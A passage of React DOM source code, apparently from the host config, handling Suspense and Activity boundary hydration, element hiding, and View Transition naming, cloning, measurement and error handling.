|| data === ACTIVITY_END_DATA) {\n        if (depth === 0) {\n          parentInstance.removeChild(nextNode);\n          // Retry if any event replaying was blocked on this.\n          retryIfBlockedOn(hydrationInstance);\n          return;\n        } else {\n          depth--;\n        }\n      } else if (\n        data === SUSPENSE_START_DATA ||\n        data === SUSPENSE_PENDING_START_DATA ||\n        data === SUSPENSE_QUEUED_START_DATA ||\n        data === SUSPENSE_FALLBACK_START_DATA ||\n        data === ACTIVITY_START_DATA\n      ) {\n        depth++;\n      } else if (data === PREAMBLE_CONTRIBUTION_HTML) {\n        // If a preamble contribution marker is found within the bounds of this boundary,\n        // then it contributed to the html tag and we need to reset it.\n        const ownerDocument = parentInstance.ownerDocument;\n        const documentElement: Element = (ownerDocument.documentElement: any);\n        releaseSingletonInstance(documentElement);\n      } else if (data === PREAMBLE_CONTRIBUTION_HEAD) {\n        const ownerDocument = parentInstance.ownerDocument;\n        const head: Element = (ownerDocument.head: any);\n        releaseSingletonInstance(head);\n        // We need to clear the head because this is the only singleton that can have children that\n        // were part of this boundary but are not inside this boundary.\n        clearHead(head);\n      } else if (data === PREAMBLE_CONTRIBUTION_BODY) {\n        const ownerDocument = parentInstance.ownerDocument;\n        const body: Element = (ownerDocument.body: any);\n        releaseSingletonInstance(body);\n      }\n    }\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    node = nextNode;\n  } while (node);\n  // TODO: Warn, we didn't find the end comment boundary.\n  // Retry if any event replaying was blocked on this.\n  retryIfBlockedOn(hydrationInstance);\n}\n\nexport function clearActivityBoundary(\n  parentInstance: Instance,\n  activityInstance: ActivityInstance,\n): void {\n  clearHydrationBoundary(parentInstance, activityInstance);\n}\n\nexport function clearSuspenseBoundary(\n  parentInstance: Instance,\n  suspenseInstance: SuspenseInstance,\n): void {\n  clearHydrationBoundary(parentInstance, suspenseInstance);\n}\n\nfunction clearHydrationBoundaryFromContainer(\n  container: Container,\n  hydrationInstance: SuspenseInstance | ActivityInstance,\n): void {\n  let parentNode: DocumentFragment | Element;\n  if (container.nodeType === DOCUMENT_NODE) {\n    parentNode = (container: any).body;\n  } else if (\n    !disableCommentsAsDOMContainers &&\n    container.nodeType === COMMENT_NODE\n  ) {\n    parentNode = (container.parentNode: any);\n  } else if (container.nodeName === 'HTML') {\n    parentNode = (container.ownerDocument.body: any);\n  } else {\n    parentNode = (container: any);\n  }\n  clearHydrationBoundary(parentNode, hydrationInstance);\n  // Retry if any event replaying was blocked on this.\n  retryIfBlockedOn(container);\n}\n\nexport function clearActivityBoundaryFromContainer(\n  container: Container,\n  activityInstance: ActivityInstance,\n): void {\n  clearHydrationBoundaryFromContainer(container, activityInstance);\n}\n\nexport function clearSuspenseBoundaryFromContainer(\n  container: Container,\n  suspenseInstance: SuspenseInstance,\n): void {\n  clearHydrationBoundaryFromContainer(container, suspenseInstance);\n}\n\nfunction hideOrUnhideDehydratedBoundary(\n  suspenseInstance: SuspenseInstance | ActivityInstance,\n  isHidden: boolean,\n) {\n  let node: Node = suspenseInstance;\n  // Unhide all nodes within this suspense boundary.\n  let depth = 0;\n  do {\n    const nextNode = node.nextSibling;\n    if (node.nodeType === ELEMENT_NODE) {\n      const instance = ((node: any): HTMLElement & {_stashedDisplay?: string});\n      if (isHidden) {\n        instance._stashedDisplay = instance.style.display;\n        instance.style.display = 'none';\n      } else {\n        instance.style.display = instance._stashedDisplay || '';\n        if (instance.getAttribute('style') === '') {\n          instance.removeAttribute('style');\n        }\n      }\n    } else if (node.nodeType === TEXT_NODE) {\n      const textNode = ((node: any): Text & {_stashedText?: string});\n      if (isHidden) {\n        textNode._stashedText = textNode.nodeValue;\n        textNode.nodeValue = '';\n      } else {\n        textNode.nodeValue = textNode._stashedText || '';\n      }\n    }\n    if (nextNode && nextNode.nodeType === COMMENT_NODE) {\n      const data = ((nextNode: any).data: string);\n      if (data === SUSPENSE_END_DATA) {\n        if (depth === 0) {\n          return;\n        } else {\n          depth--;\n        }\n      } else if (\n        data === SUSPENSE_START_DATA ||\n        data === SUSPENSE_PENDING_START_DATA ||\n        data === SUSPENSE_QUEUED_START_DATA ||\n        data === SUSPENSE_FALLBACK_START_DATA\n      ) {\n        depth++;\n      }\n      // TODO: Should we hide preamble contribution in this case?\n    }\n    // $FlowFixMe[incompatible-type] we bail out when we get a null\n    node = nextNode;\n  } while (node);\n}\n\nexport function hideDehydratedBoundary(\n  suspenseInstance: SuspenseInstance,\n): void {\n  hideOrUnhideDehydratedBoundary(suspenseInstance, true);\n}\n\nexport function hideInstance(instance: Instance): void {\n  // TODO: Does this work for all element types? What about MathML? Should we\n  // pass host context to this method?\n  instance = ((instance: any): HTMLElement);\n  const style = instance.style;\n  // $FlowFixMe[method-unbinding]\n  if (typeof style.setProperty === 'function') {\n    style.setProperty('display', 'none', 'important');\n  } else {\n    style.display = 'none';\n  }\n}\n\nexport function hideTextInstance(textInstance: TextInstance): void {\n  textInstance.nodeValue = '';\n}\n\nexport function unhideDehydratedBoundary(\n  dehydratedInstance: SuspenseInstance | ActivityInstance,\n): void {\n  hideOrUnhideDehydratedBoundary(dehydratedInstance, false);\n}\n\nexport function unhideInstance(instance: Instance, props: Props): void {\n  instance = ((instance: any): HTMLElement);\n  const styleProp = props[STYLE];\n  const display =\n    styleProp !== undefined &&\n    styleProp !== null &&\n    styleProp.hasOwnProperty('display')\n      ? styleProp.display\n      : null;\n  instance.style.display =\n    display == null || typeof display === 'boolean'\n      ? ''\n      : // The value would've errored already if it wasn't safe.\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        ('' + display).trim();\n}\n\nexport function unhideTextInstance(\n  textInstance: TextInstance,\n  text: string,\n): void {\n  textInstance.nodeValue = text;\n}\n\nfunction warnForBlockInsideInline(instance: HTMLElement) {\n  if (__DEV__) {\n    let nextNode = instance.firstChild;\n    outer: while (nextNode != null) {\n      let node: Node = nextNode;\n      if (\n        node.nodeType === ELEMENT_NODE &&\n        getComputedStyle((node: any)).display === 'block'\n      ) {\n        const fiber =\n          getInstanceFromNode(node) || getInstanceFromNode(instance);\n        runWithFiberInDEV(\n          fiber,\n          (parentTag: string, childTag: string) => {\n            console.error(\n              \"You're about to start a <ViewTransition> around a display: inline \" +\n                'element <%s>, which itself has a display: block element <%s> inside it. ' +\n                'This might trigger a bug in Safari which causes the View Transition to ' +\n                'be skipped with a duplicate name error.\\n' +\n                'https://bugs.webkit.org/show_bug.cgi?id=290923',\n              parentTag.toLocaleLowerCase(),\n              childTag.toLocaleLowerCase(),\n            );\n          },\n          instance.tagName,\n          (node: any).tagName,\n        );\n        break;\n      }\n      if (node.firstChild != null) {\n        nextNode = node.firstChild;\n        continue;\n      }\n      if (node === instance) {\n        break;\n      }\n      while (node.nextSibling == null) {\n        if (node.parentNode == null || node.parentNode === instance) {\n          break;\n        }\n        node = node.parentNode;\n      }\n      nextNode = node.nextSibling;\n    }\n  }\n}\n\nfunction countClientRects(rects: Array<ClientRect>): number {\n  if (rects.length === 1) {\n    return 1;\n  }\n  // Count non-zero rects.\n  let count = 0;\n  for (let i = 0; i < rects.length; i++) {\n    const rect = rects[i];\n    if (rect.width > 0 && rect.height > 0) {\n      count++;\n    }\n  }\n  return count;\n}\n\nexport function applyViewTransitionName(\n  instance: Instance,\n  name: string,\n  className: ?string,\n): void {\n  instance = ((instance: any): HTMLElement);\n  // If the name isn't valid CSS identifier, base64 encode the name instead.\n  // This doesn't let you select it in custom CSS selectors but it does work in current\n  // browsers.\n  const escapedName =\n    CSS.escape(name) !== name ? 'r-' + btoa(name).replace(/=/g, '') : name;\n  // $FlowFixMe[prop-missing]\n  instance.style.viewTransitionName = escapedName;\n  if (className != null) {\n    // $FlowFixMe[prop-missing]\n    instance.style.viewTransitionClass = className;\n  }\n  const computedStyle = getComputedStyle(instance);\n  if (computedStyle.display === 'inline') {\n    // WebKit has a bug where assigning a name to display: inline elements errors\n    // if they have display: block children. We try to work around this bug in the\n    // simple case by converting it automatically to display: inline-block.\n    // https://bugs.webkit.org/show_bug.cgi?id=290923\n    const rects = instance.getClientRects();\n    if (\n      // $FlowFixMe[incompatible-call]\n      countClientRects(rects) === 1\n    ) {\n      // If the instance has a single client rect, that means that it can be\n      // expressed as a display: inline-block or block.\n      // This will cause layout thrash but we live with it since inline view transitions\n      // are unusual.\n      const style = instance.style;\n      // If there's literally only one rect, then it's likely on a single line like an\n      // inline-block. If it's multiple rects but all but one of them are empty it's\n      // likely because it's a single block that caused a line break.\n      style.display = rects.length === 1 ? 'inline-block' : 'block';\n      // Margin doesn't apply to inline so should be zero. However, padding top/bottom\n      // applies to inline-block positioning which we can offset by setting the margin\n      // to the negative padding to get it back into original position.\n      style.marginTop = '-' + computedStyle.paddingTop;\n      style.marginBottom = '-' + computedStyle.paddingBottom;\n    } else {\n      // This case cannot be easily fixed if it has blocks but it's also fine if\n      // it doesn't have blocks. So we only warn in DEV about this being an issue.\n      warnForBlockInsideInline(instance);\n    }\n  }\n}\n\nexport function restoreViewTransitionName(\n  instance: Instance,\n  props: Props,\n): void {\n  instance = ((instance: any): HTMLElement);\n  const style = instance.style;\n  const styleProp = props[STYLE];\n  const viewTransitionName =\n    styleProp != null\n      ? styleProp.hasOwnProperty('viewTransitionName')\n        ? styleProp.viewTransitionName\n        : styleProp.hasOwnProperty('view-transition-name')\n          ? styleProp['view-transition-name']\n          : null\n      : null;\n  // $FlowFixMe[prop-missing]\n  style.viewTransitionName =\n    viewTransitionName == null || typeof viewTransitionName === 'boolean'\n      ? ''\n      : // The value would've errored already if it wasn't safe.\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        ('' + viewTransitionName).trim();\n  const viewTransitionClass =\n    styleProp != null\n      ? styleProp.hasOwnProperty('viewTransitionClass')\n        ? styleProp.viewTransitionClass\n        : styleProp.hasOwnProperty('view-transition-class')\n          ? styleProp['view-transition-class']\n          : null\n      : null;\n  // $FlowFixMe[prop-missing]\n  style.viewTransitionClass =\n    viewTransitionClass == null || typeof viewTransitionClass === 'boolean'\n      ? ''\n      : // The value would've errored already if it wasn't safe.\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        ('' + viewTransitionClass).trim();\n  if (style.display === 'inline-block') {\n    // We might have overridden the style. Reset it to what it should be.\n    if (styleProp == null) {\n      style.display = style.margin = '';\n    } else {\n      const display = styleProp.display;\n      style.display =\n        display == null || typeof display === 'boolean' ? '' : display;\n      const margin = styleProp.margin;\n      if (margin != null) {\n        style.margin = margin;\n      } else {\n        const marginTop = styleProp.hasOwnProperty('marginTop')\n          ? styleProp.marginTop\n          : styleProp['margin-top'];\n        style.marginTop =\n          marginTop == null || typeof marginTop === 'boolean' ? '' : marginTop;\n        const marginBottom = styleProp.hasOwnProperty('marginBottom')\n          ? styleProp.marginBottom\n          : styleProp['margin-bottom'];\n        style.marginBottom =\n          marginBottom == null || typeof marginBottom === 'boolean'\n            ? ''\n            : marginBottom;\n      }\n    }\n  }\n}\n\nexport function cancelViewTransitionName(\n  instance: Instance,\n  oldName: string,\n  props: Props,\n): void {\n  // To cancel the \"new\" state and paint this instance as part of the parent, all we have to do\n  // is remove the view-transition-name before we exit startViewTransition.\n  restoreViewTransitionName(instance, props);\n  // There isn't a way to cancel an \"old\" state but what we can do is hide it by animating it.\n  // Since it is already removed from the old state of the parent, this technique only works\n  // if the parent also isn't transitioning. Therefore we should only cancel the root most\n  // ViewTransitions.\n  const documentElement = instance.ownerDocument.documentElement;\n  if (documentElement !== null) {\n    documentElement.animate(\n      {opacity: [0, 0], pointerEvents: ['none', 'none']},\n      // $FlowFixMe[incompatible-call]\n      {\n        duration: 0,\n        fill: 'forwards',\n        pseudoElement: '::view-transition-group(' + oldName + ')',\n      },\n    );\n  }\n}\n\nexport function cancelRootViewTransitionName(rootContainer: Container): void {\n  const documentElement: null | HTMLElement =\n    rootContainer.nodeType === DOCUMENT_NODE\n      ? (rootContainer: any).documentElement\n      : rootContainer.ownerDocument.documentElement;\n\n  if (\n    !disableCommentsAsDOMContainers &&\n    rootContainer.nodeType === COMMENT_NODE\n  ) {\n    if (__DEV__) {\n      console.warn(\n        'Cannot cancel root view transition on a comment node. All view transitions will be globally scoped.',\n      );\n    }\n    return;\n  }\n\n  if (\n    documentElement !== null &&\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName === ''\n  ) {\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName = 'none';\n    documentElement.animate(\n      {opacity: [0, 0], pointerEvents: ['none', 'none']},\n      // $FlowFixMe[incompatible-call]\n      {\n        duration: 0,\n        fill: 'forwards',\n        pseudoElement: '::view-transition-group(root)',\n      },\n    );\n    // By default the root ::view-transition selector captures all pointer events,\n    // which means nothing gets interactive. We want to let whatever is not animating\n    // remain interactive during the transition. To do that, we set the size to nothing\n    // so that the transition doesn't capture any clicks. We don't set pointer-events\n    // on this one as that would apply to all running transitions. This lets animations\n    // that are running to block clicks so that they don't end up incorrectly hitting\n    // whatever is below the animation.\n    documentElement.animate(\n      {width: [0, 0], height: [0, 0]},\n      // $FlowFixMe[incompatible-call]\n      {\n        duration: 0,\n        fill: 'forwards',\n        pseudoElement: '::view-transition',\n      },\n    );\n  }\n}\n\nexport function restoreRootViewTransitionName(rootContainer: Container): void {\n  let containerInstance: Instance;\n  if (rootContainer.nodeType === DOCUMENT_NODE) {\n    containerInstance = (rootContainer: any).body;\n  } else if (rootContainer.nodeName === 'HTML') {\n    containerInstance = (rootContainer.ownerDocument.body: any);\n  } else {\n    // If the container is not the whole document, then we ideally should probably\n    // clone the whole document outside of the React too.\n    containerInstance = (rootContainer: any);\n  }\n  if (\n    !disableCommentsAsDOMContainers &&\n    containerInstance.nodeType === COMMENT_NODE\n  ) {\n    return;\n  }\n  if (\n    // $FlowFixMe[prop-missing]\n    containerInstance.style.viewTransitionName === 'root'\n  ) {\n    // If we moved the root view transition name to the container in a gesture\n    // we need to restore it now.\n    containerInstance.style.viewTransitionName = '';\n  }\n  const documentElement: null | HTMLElement =\n    containerInstance.ownerDocument.documentElement;\n  if (\n    documentElement !== null &&\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName === 'none'\n  ) {\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName = '';\n  }\n}\n\nfunction getComputedTransform(style: CSSStyleDeclaration): string {\n  // Gets the merged transform of all the short hands.\n  const computedStyle: any = style;\n  let transform: string = computedStyle.transform;\n  if (transform === 'none') {\n    transform = '';\n  }\n  const scale: string = computedStyle.scale;\n  if (scale !== 'none' && scale !== '') {\n    const parts = scale.split(' ');\n    transform =\n      (parts.length === 3 ? 'scale3d' : 'scale') +\n      '(' +\n      parts.join(', ') +\n      ') ' +\n      transform;\n  }\n  const rotate: string = computedStyle.rotate;\n  if (rotate !== 'none' && rotate !== '') {\n    const parts = rotate.split(' ');\n    if (parts.length === 1) {\n      transform = 'rotate(' + parts[0] + ') ' + transform;\n    } else if (parts.length === 2) {\n      transform =\n        'rotate' + parts[0].toUpperCase() + '(' + parts[1] + ') ' + transform;\n    } else {\n      transform = 'rotate3d(' + parts.join(', ') + ') ' + transform;\n    }\n  }\n  const translate: string = computedStyle.translate;\n  if (translate !== 'none' && translate !== '') {\n    const parts = translate.split(' ');\n    transform =\n      (parts.length === 3 ? 'translate3d' : 'translate') +\n      '(' +\n      parts.join(', ') +\n      ') ' +\n      transform;\n  }\n  return transform;\n}\n\nfunction moveOutOfViewport(\n  originalStyle: CSSStyleDeclaration,\n  element: HTMLElement,\n): void {\n  // Apply a transform that safely puts the whole element outside the viewport\n  // while still letting it paint its \"old\" state to a snapshot.\n  const transform = getComputedTransform(originalStyle);\n  // Clear the long form properties.\n  // $FlowFixMe\n  element.style.translate = 'none';\n  // $FlowFixMe\n  element.style.scale = 'none';\n  // $FlowFixMe\n  element.style.rotate = 'none';\n  // Apply a translate to move it way out of the viewport. This is applied first\n  // so that it is in the coordinate space of the parent and not after applying\n  // other transforms. That's why we need to merge the long form properties.\n  // TODO: Ideally we'd adjust for the parent's rotate/scale. Otherwise when\n  // we move back the ::view-transition-group we might overshoot or undershoot.\n  element.style.transform = 'translate(-20000px, -20000px) ' + transform;\n}\n\nfunction moveOldFrameIntoViewport(keyframe: any): void {\n  // In the resulting View Transition Animation, the first frame will be offset.\n  const computedTransform: ?string = keyframe.transform;\n  if (computedTransform != null) {\n    let transform = computedTransform === 'none' ? '' : computedTransform;\n    transform = 'translate(20000px, 20000px) ' + transform;\n    keyframe.transform = transform;\n  }\n}\n\nexport function cloneRootViewTransitionContainer(\n  rootContainer: Container,\n): Instance {\n  // This implies that we're not going to animate the root document but instead\n  // the clone so we first clear the name of the root container.\n  const documentElement: null | HTMLElement =\n    rootContainer.nodeType === DOCUMENT_NODE\n      ? (rootContainer: any).documentElement\n      : rootContainer.ownerDocument.documentElement;\n  if (\n    documentElement !== null &&\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName === ''\n  ) {\n    // $FlowFixMe[prop-missing]\n    documentElement.style.viewTransitionName = 'none';\n  }\n\n  let containerInstance: HTMLElement;\n  if (rootContainer.nodeType === DOCUMENT_NODE) {\n    containerInstance = (rootContainer: any).body;\n  } else if (rootContainer.nodeName === 'HTML') {\n    containerInstance = (rootContainer.ownerDocument.body: any);\n  } else if (\n    !disableCommentsAsDOMContainers &&\n    rootContainer.nodeType === COMMENT_NODE\n  ) {\n    throw new Error(\n      'Cannot use a startGestureTransition() with a comment node root.',\n    );\n  } else {\n    // If the container is not the whole document, then we ideally should probably\n    // clone the whole document outside of the React too.\n    containerInstance = (rootContainer: any);\n  }\n\n  const containerParent = containerInstance.parentNode;\n  if (containerParent === null) {\n    throw new Error(\n      'Cannot use a startGestureTransition() on a detached root.',\n    );\n  }\n\n  const clone: HTMLElement = containerInstance.cloneNode(false);\n\n  const computedStyle = getComputedStyle(containerInstance);\n\n  if (\n    computedStyle.position === 'absolute' ||\n    computedStyle.position === 'fixed'\n  ) {\n    // If the style is already absolute, we don't have to do anything because it'll appear\n    // in the same place.\n  } else {\n    // Otherwise we need to absolutely position the clone in the same location as the original.\n    let positionedAncestor: HTMLElement = containerParent;\n    while (\n      positionedAncestor.parentNode != null &&\n      positionedAncestor.parentNode.nodeType !== DOCUMENT_NODE\n    ) {\n      if (getComputedStyle(positionedAncestor).position !== 'static') {\n        break;\n      }\n      // $FlowFixMe: This is refined.\n      positionedAncestor = positionedAncestor.parentNode;\n    }\n\n    const positionedAncestorStyle: any = positionedAncestor.style;\n    const containerInstanceStyle: any = containerInstance.style;\n    // Clear the transform while we're measuring since it affects the bounding client rect.\n    const prevAncestorTranslate = positionedAncestorStyle.translate;\n    const prevAncestorScale = positionedAncestorStyle.scale;\n    const prevAncestorRotate = positionedAncestorStyle.rotate;\n    const prevAncestorTransform = positionedAncestorStyle.transform;\n    const prevTranslate = containerInstanceStyle.translate;\n    const prevScale = containerInstanceStyle.scale;\n    const prevRotate = containerInstanceStyle.rotate;\n    const prevTransform = containerInstanceStyle.transform;\n    positionedAncestorStyle.translate = 'none';\n    positionedAncestorStyle.scale = 'none';\n    positionedAncestorStyle.rotate = 'none';\n    positionedAncestorStyle.transform = 'none';\n    containerInstanceStyle.translate = 'none';\n    containerInstanceStyle.scale = 'none';\n    containerInstanceStyle.rotate = 'none';\n    containerInstanceStyle.transform = 'none';\n\n    const ancestorRect = positionedAncestor.getBoundingClientRect();\n    const rect = containerInstance.getBoundingClientRect();\n\n    const cloneStyle = clone.style;\n    cloneStyle.position = 'absolute';\n    cloneStyle.top = rect.top - ancestorRect.top + 'px';\n    cloneStyle.left = rect.left - ancestorRect.left + 'px';\n    cloneStyle.width = rect.width + 'px';\n    cloneStyle.height = rect.height + 'px';\n    cloneStyle.margin = '0px';\n    cloneStyle.boxSizing = 'border-box';\n\n    positionedAncestorStyle.translate = prevAncestorTranslate;\n    positionedAncestorStyle.scale = prevAncestorScale;\n    positionedAncestorStyle.rotate = prevAncestorRotate;\n    positionedAncestorStyle.transform = prevAncestorTransform;\n    containerInstanceStyle.translate = prevTranslate;\n    containerInstanceStyle.scale = prevScale;\n    containerInstanceStyle.rotate = prevRotate;\n    containerInstanceStyle.transform = prevTransform;\n  }\n\n  // For this transition the container will act as the root. Nothing outside of it should\n  // be affected anyway. This lets us transition from the cloned container to the original.\n  // $FlowFixMe[prop-missing]\n  clone.style.viewTransitionName = 'root';\n\n  // Move out of the viewport so that it's still painted for the snapshot but is not visible\n  // for the frame where the snapshot happens.\n  moveOutOfViewport(computedStyle, clone);\n\n  // Insert the clone after the root container as a sibling. This may inject a body\n  // as the next sibling of an existing body. document.body will still point to the\n  // first one and any id selectors will still find the first one. That's why it's\n  // important that it's after the existing node.\n  containerInstance.parentNode.insertBefore(\n    clone,\n    containerInstance.nextSibling,\n  );\n\n  return clone;\n}\n\nexport function removeRootViewTransitionClone(\n  rootContainer: Container,\n  clone: Instance,\n): void {\n  let containerInstance: Instance;\n  if (rootContainer.nodeType === DOCUMENT_NODE) {\n    containerInstance = (rootContainer: any).body;\n  } else if (rootContainer.nodeName === 'HTML') {\n    containerInstance = (rootContainer.ownerDocument.body: any);\n  } else {\n    // If the container is not the whole document, then we ideally should probably\n    // clone the whole document outside of the React too.\n    containerInstance = (rootContainer: any);\n  }\n  const containerParent = containerInstance.parentNode;\n  if (containerParent === null) {\n    throw new Error(\n      'Cannot use a startGestureTransition() on a detached root.',\n    );\n  }\n  // We assume that the clone is still within the same parent.\n  containerParent.removeChild(clone);\n\n  // Now the root is on the containerInstance itself until we call restoreRootViewTransitionName.\n  containerInstance.style.viewTransitionName = 'root';\n}\n\nexport type InstanceMeasurement = {\n  rect: ClientRect | DOMRect,\n  abs: boolean, // is absolutely positioned\n  clip: boolean, // is a clipping parent\n  view: boolean, // is in viewport bounds\n};\n\nfunction createMeasurement(\n  rect: ClientRect | DOMRect,\n  computedStyle: CSSStyleDeclaration,\n  element: Element,\n): InstanceMeasurement {\n  const ownerWindow = element.ownerDocument.defaultView;\n  return {\n    rect: rect,\n    abs:\n      // Absolutely positioned instances don't contribute their size to the parent.\n      computedStyle.position === 'absolute' ||\n      computedStyle.position === 'fixed',\n    clip:\n      // If a ViewTransition boundary acts as a clipping parent group we should\n      // always mark it to animate if its children do so that we can clip them.\n      // This doesn't actually have any effect yet until browsers implement\n      // layered capture and nested view transitions.\n      computedStyle.clipPath !== 'none' ||\n      computedStyle.overflow !== 'visible' ||\n      computedStyle.filter !== 'none' ||\n      computedStyle.mask !== 'none' ||\n      computedStyle.mask !== 'none' ||\n      computedStyle.borderRadius !== '0px',\n    view:\n      // If the instance was within the bounds of the viewport. We don't care as\n      // much about if it was fully occluded because then it can still pop out.\n      rect.bottom >= 0 &&\n      rect.right >= 0 &&\n      rect.top <= ownerWindow.innerHeight &&\n      rect.left <= ownerWindow.innerWidth,\n  };\n}\n\nexport function measureInstance(instance: Instance): InstanceMeasurement {\n  const rect = instance.getBoundingClientRect();\n  const computedStyle = getComputedStyle(instance);\n  return createMeasurement(rect, computedStyle, instance);\n}\n\nexport function measureClonedInstance(instance: Instance): InstanceMeasurement {\n  const measuredRect = instance.getBoundingClientRect();\n  // Adjust the DOMRect based on the translate that put it outside the viewport.\n  // TODO: This might not be completely correct if the parent also has a transform.\n  const rect = new DOMRect(\n    measuredRect.x + 20000,\n    measuredRect.y + 20000,\n    measuredRect.width,\n    measuredRect.height,\n  );\n  const computedStyle = getComputedStyle(instance);\n  return createMeasurement(rect, computedStyle, instance);\n}\n\nexport function wasInstanceInViewport(\n  measurement: InstanceMeasurement,\n): boolean {\n  return measurement.view;\n}\n\nexport function hasInstanceChanged(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  // Note: This is not guaranteed from the same instance in the case that the Instance of the\n  // ViewTransition swaps out but it's still the same ViewTransition instance.\n  if (newMeasurement.clip) {\n    // If we're a clipping parent, we always animate if any of our children do so that we can clip\n    // them. This doesn't yet until browsers implement layered capture and nested view transitions.\n    return true;\n  }\n  const oldRect = oldMeasurement.rect;\n  const newRect = newMeasurement.rect;\n  return (\n    oldRect.y !== newRect.y ||\n    oldRect.x !== newRect.x ||\n    oldRect.height !== newRect.height ||\n    oldRect.width !== newRect.width\n  );\n}\n\nexport function hasInstanceAffectedParent(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  // Note: This is not guaranteed from the same instance in the case that the Instance of the\n  // ViewTransition swaps out but it's still the same ViewTransition instance.\n  // If the instance has resized, it might have affected the parent layout.\n  if (newMeasurement.abs) {\n    // Absolutely positioned elements don't affect the parent layout, unless they\n    // previously were not absolutely positioned.\n    return !oldMeasurement.abs;\n  }\n  const oldRect = oldMeasurement.rect;\n  const newRect = newMeasurement.rect;\n  return oldRect.height !== newRect.height || oldRect.width !== newRect.width;\n}\n\n// How long to wait for new fonts to load before just committing anyway.\n// This freezes the screen. It needs to be short enough that it doesn't cause too much of\n// an issue when it's a new load and slow, yet long enough that you have a chance to load\n// it. Otherwise we wait for no reason. The assumption here is that you likely have\n// either cached the font or preloaded it earlier.\n// This timeout is also used for Suspensey Images when they're blocking a View Transition.\nconst SUSPENSEY_FONT_AND_IMAGE_TIMEOUT = 500;\n\nfunction customizeViewTransitionError(\n  error: Object,\n  ignoreAbort: boolean,\n): mixed {\n  if (typeof error === 'object' && error !== null) {\n    switch (error.name) {\n      case 'TimeoutError': {\n        // We assume that the only reason a Timeout can happen is because the Navigation\n        // promise. We expect any other work to either be fast or have a timeout (fonts).\n        if (__DEV__) {\n          // eslint-disable-next-line react-internal/prod-error-codes\n          return new Error(\n            'A ViewTransition timed out because a Navigation stalled. ' +\n              'This can happen if a Navigation is blocked on React itself. ' +\n              \"Such as if it's resolved inside useEffect. \" +\n              'This can be solved by moving the resolution to useLayoutEffect.',\n            {cause: error},\n          );\n        }\n        break;\n      }\n      case 'AbortError': {\n        if (ignoreAbort) {\n          return null;\n        }\n        if (__DEV__) {\n          // eslint-disable-next-line react-internal/prod-error-codes\n          return new Error(\n            'A ViewTransition was aborted early. This might be because you have ' +\n              'other View Transition libraries on the page and only one can run at ' +\n              \"a time. To avoid this, use only React's built-in <ViewTransition> \" +\n              'to coordinate.',\n            {cause: error},\n          );\n        }\n        break;\n      }\n      case 'InvalidStateError': {\n        if (\n          error.message ===\n            'View transition was skipped because document visibility state is hidden.' ||\n          error.message ===\n            'Skipping view transition because document visibility state has become hidden.' ||\n          error.message ===\n            'Skipping view transition because viewport size changed.' ||\n          // Chrome uses a generic error message instead of specific reasons. It will log a\n          // more specific reason in the console but the user might not look there.\n          // Some of these errors are important to surface like duplicate name errors but\n          // it's too noisy for unactionable cases like the document was hidden. Therefore,\n          // we hide all of them and hopefully it surfaces in another browser.\n          error.message === 'Transition was aborted because of invalid state'\n        ) {\n          // Skip logging this. This is not considered an error.\n          return null;\n        }\n        break;\n      }\n    }\n  }\n  return error;\n}\n\n/** @noinline */\nfunction forceLayout(ownerDocument: Document) {\n  // This function exists to trick minifiers to not remove this unused member expression.\n  return (ownerDocument.documentElement: any).clientHeight;\n}\n\nfunction waitForImageToLoad(this: HTMLImageElement, resolve: () => void) {\n  // TODO: Use decode() instead of the load event here once the fix in\n  // https://issues.chromium.org/issues/420748301 has propagated fully.\n  this.addEventListener('load', resolve);\n  this.addEventListener('error', resolve);\n}\n\nexport function startViewTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  layoutCallback: () => void,\n  afterMutationCallback: () => void,\n  spawnedWorkCallback: () => void,\n  passiveCallback: () => mixed,\n  errorCallback: mixed => void,\n  blockedCallback: string => void, // Profiling-only\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  const ownerDocument: Document =\n    rootContainer.nodeType === DOCUMENT_NODE\n      ? (rootContainer: any)\n      : rootContainer.ownerDocument;\n  try {\n    // $FlowFixMe[prop-missing]\n    const transition = ownerDocument.startViewTransition({\n      update() {\n        // Note: We read the existence of a pending navigation before we apply the\n        // mutations. That way we're not waiting on a navigation that we spawned\n        // from this update. Only navigations that started before this commit.\n        const ownerWindow = ownerDocument.defaultView;\n        const pendingNavigation =\n          ownerWindow.navigation && ownerWindow.navigation.transition;\n        // $FlowFixMe[prop-missing]\n        const previousFontLoadingStatus = ownerDocument.fonts.status;\n        mutationCallback();\n        const blockingPromises: Array<Promise<any>> = [];\n        if (previousFontLoadingStatus === 'loaded') {\n          // Force layout calculation to trigger font loading.\n          forceLayout(ownerDocument);\n          if (\n            // $FlowFixMe[prop-missing]\n            ownerDocument.fonts.status === 'loading'\n          ) {\n            // The mutation lead to new fonts being loaded. We should wait on them before continuing.\n            // This avoids waiting for potentially unrelated fonts that were already loading before.\n            // Either in an earlier transition or as part of a sync optimistic state. This doesn't\n            // include preloads that happened earlier.\n            blockingPromises.push(ownerDocument.fonts.ready);\n          }\n        }\n        const blockingIndexSnapshot = blockingPromises.length;\n        if (suspendedState !== null) {\n          // Suspend on any images that still haven't loaded and are in the viewport.\n          const suspenseyImages = suspendedState.suspenseyImages;\n          let imgBytes = 0;\n          for (let i = 0; i < suspenseyImages.length; i++) {\n            const suspenseyImage = suspenseyImages[i];\n            if (!suspenseyImage.complete) {\n              const rect = suspenseyImage.getBoundingClientRect();\n              const inViewport =\n                rect.bottom > 0 &&\n                rect.right > 0 &&\n                rect.top < ownerWindow.innerHeight &&\n                rect.left < ownerWindow.innerWidth;\n              if (inViewport) {\n                imgBytes += estimateImageBytes(suspenseyImage);\n                if (imgBytes > estimatedBytesWithinLimit) {\n                  // We don't think we'll be able to download all the images within\n                  // the timeout. Give up. Rewind to only block on fonts, if any.\n                  blockingPromises.length = 